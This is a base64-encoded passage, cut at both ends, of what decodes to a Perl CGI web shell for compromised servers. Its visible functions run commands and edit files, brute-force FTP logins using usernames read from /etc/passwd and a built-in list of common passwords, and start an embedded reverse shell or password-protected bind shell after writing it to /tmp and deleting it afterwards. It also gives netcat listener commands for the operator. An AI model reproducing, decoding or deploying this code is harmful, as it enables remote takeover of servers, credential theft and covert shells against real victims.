kNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJaWYoISRXaW5OVCkNCgl7DQoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsNCgl9DQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCXsNCgkJJHw9MTsNCgkJJENvbW1hbmQgLj0gIiB8IjsNCgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikNCgkJew0KCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCIkX1xuIik7DQoJCX0NCgkJJHw9MDsNCgl9DQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJew0KCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCckQ29tbWFuZCcpOw0KCX0NCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBGb3JtIFNhdmUgRmlsZSANCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBTYXZlRmlsZUZvcm0NCnsNCglteSAkcmVzdWx0ID0iIjsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJEZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hOyBjb2xvcjogeWVsbG93OycgPiBQZXJtaXNzaW9uIGRlbmllZCE8Zm9udD48YnI+IjsNCgkJJHJvd3M9IjIwIg0KCX0NCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsNCgkkUnVuQ29tbWFuZCA9ICIkcmVhZCBcIiRSdW5Db21tYW5kXCIiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+DQpFTkQNCgkNCgkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCgkkcmVzdWx0IC49ICAiPC9mb3JtPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIFNhdmUgRmlsZQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlKCQpDQp7DQoJbXkgJERhdGE9IHNoaWZ0IDsNCglteSAkRmlsZT0gc2hpZnQ7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJEZpbGU7DQoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpDQoJew0KCQliaW5tb2RlIEZJTEU7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXJldHVybiAxOw0KCX1lbHNlDQoJew0KCQlyZXR1cm4gMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlciBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXJGb3JtDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkcmVzdWx0IC49IDw8RU5EOw0KDQo8dGFibGU+DQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzxicj4NClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4NCkVORA0KY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsNCiRyZXN1bHQgLj0gPDwnRU5EJzsNCjwvdGV4dGFyZWE+PC90ZD4NCjx0ZD4NCg0KUGFzczo8YnI+DQo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzDQoxMjMhQCMNCjEyM2FkbWluDQoxMjNhYmMNCjEyMzQ1NmFkbWluDQoxMjM0NTU0MzIxDQoxMjM0NDMyMQ0KcGFzczEyMw0KYWRtaW4NCmFkbWluY3ANCmFkbWluaXN0cmF0b3INCm1hdGtoYXUNCnBhc3NhZG1pbg0KcEBzc3dvcmQNCnBAc3N3MHJkDQpwYXNzd29yZA0KMTIzNDU2DQoxMjM0NTY3DQoxMjM0NTY3OA0KMTIzNDU2Nzg5DQoxMjM0NTY3ODkwDQoxMTExMTENCjAwMDAwMA0KMjIyMjIyDQozMzMzMzMNCjQ0NDQ0NA0KNTU1NTU1DQo2NjY2NjYNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjEyMzEyMw0KMjM0MjM0DQozNDUzNDUNCjQ1NjQ1Ng0KNTY3NTY3DQo2Nzg2NzgNCjc4OTc4OQ0KMTIzMzIxDQo0NTY2NTQNCjY1NDMyMQ0KNzY1NDMyMQ0KODc2NTQzMjENCjk4NzY1NDMyMQ0KMDk4NzY1NDMyMQ0KYWRtaW4xMjMNCmFkbWluMTIzNDU2DQphYmNkZWYNCmFiY2FiYw0KIUAjIUAjDQohQCMkJV4NCiFAIyQlXiYqKA0KIUAjJCQjQCENCmFiYzEyMw0KYW5oeWV1ZW0NCmlsb3ZleW91PC90ZXh0YXJlYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+DQoNCjxvcHRpb24+MDwvb3B0aW9uPg0KPG9wdGlvbj4xPC9vcHRpb24+DQo8b3B0aW9uPjI8L29wdGlvbj4NCg0KPG9wdGlvbj4zPC9vcHRpb24+DQo8L3NlbGVjdD4gDQo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4NCkVORA0KcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJydXRlRm9yY2VyDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307DQoJaWYoJGlueyd1c2VyJ30gZXEgIiIpDQoJew0KCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07DQoJfWVsc2UNCgl7DQoJCXVzZSBOZXQ6OkZUUDsgDQoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7DQoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7DQoJCWNob21wKEB1c2VyKTsNCgkJY2hvbXAoQHBhc3MpOw0KCQkkcmVzdWx0IC49ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ1dGUgJFNlcnZlck5hbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pj4+Pj4+Pj4+Pj48PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlxuIjsNCgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQ0KCQl7DQoJCQlpZighKCR1c2VybmFtZSBlcSAiIikpDQoJCQl7DQoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQ0KCQkJCXsNCgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgDQoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkNCgkJCQkJew0KCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7DQoJCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJCQlicmVhazsNCgkJCQkJfQ0KCQkJCQlpZighKCRpbnsnc2xlZXAnfSBlcSAiMCIpKQ0KCQkJCQl7DQoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7DQoJCQkJCX0NCgkJCQkJJGZ0cC0+cXVpdCgpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmRGb3JtDQp7DQoJcmV0dXJuIDw8RU5EOw0KCTxicj48YnI+DQoNCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+DQoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI3IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4NCg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayENCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+DQoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4NCg0KCTwvdHI+DQoJPC90YWJsZT4NCg0KCTxicj48YnI+DQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoNCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+DQoNCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJUSElFVUdJQUJVT04iPjwvdGQ+DQoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+DQoJPC9mb3JtPg0KCTwvdHI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2h1YyBuYW5nIGNodWEgZGMgdGVzdCENCgk8YnI+WytdIFRyeSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPjxicj4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCB1c2UgcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kDQp7DQoJdXNlIE1JTUU6OkJhc2U2NDsNCgl1c2UgU29ja2V0OwkNCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7DQoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsNCg0KCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307DQoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOw0KCWlmKCRDbGllbnRQb3J0IGVxIDApDQoJew0KCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsNCgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOw0KCQlpZigtdyAiL3RtcC8iKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX1lbHNlDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7DQoJCWlmKC13ICIvdG1wIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsIGJpbmRwb3J0LnBsICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojICBBcnJheSBMaXN0IERpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJtRGlyKCQpIA0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkNCgl7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQl7DQoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpDQoJCQl7DQoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7DQoJCQkJaWYoLWQgJGZpbGUpDQoJCQkJew0KCQkJCQkmUm1EaXIoJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl1bmxpbmsoJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbG9zZWRpcihESVIpOw0KCX0NCglpZighcm1kaXIoJGRpcikpDQoJew0KCQkNCgl9DQp9DQpzdWIgRmlsZU93bmVyKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZSAkZmlsZSkNCgl7DQoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOw0KCQlpZigkV2luTlQpDQoJCXsNCgkJCXJldHVybiAiPz8/IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOw0KCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOw0KCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7DQoJCX0NCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIFBhcmVudEZvbGRlcigkKQ0Kew0KCW15ICRwYXRoID0gc2hpZnQ7DQoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOw0KCWNob3AoJHBhdGggPSBgJENvbW1gKTsNCglyZXR1cm4gJHBhdGg7DQp9DQpzdWIgRmlsZVBlcm1zKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkdXIgPSAiLSI7DQoJbXkgJHV3ID0gIi0iOw0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQ0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0NCgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsNCgkJfWVsc2UNCgkJew0KCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsNCgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7DQoJCQlyZXR1cm4gJHJlc3VsdDsNCgkJfQ0KCX0NCglyZXR1cm4gIjAwMDAiOw0KfQ0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOw0KCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOw0KCQkkeSA9ICR5ICsgMTkwMDsNCgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOw0KCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsNCgkJcmV0dXJuICRsbXRpbWU7DQoJfQ0KCXJldHVybiAiPz8/IjsNCn0NCnN1YiBGaWxlU2l6ZSgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWYgJGZpbGUpDQoJew0KCQlyZXR1cm4gLXMgJGZpbGU7DQoJfQ0KCXJldHVybiAiMCI7DQoNCn0NCnN1YiBQYXJzZUZpbGVTaXplKCQpDQp7DQoJbXkgJHNpemUgPSBzaGlmdDsNCglpZigkc2l6ZSA8PSAxMDI0KQ0KCXsNCgkJcmV0dXJuICRzaXplLiAiIEIiOw0KCX0NCgllbHNlDQoJew0KCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIA0KCQl7DQoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOw0KC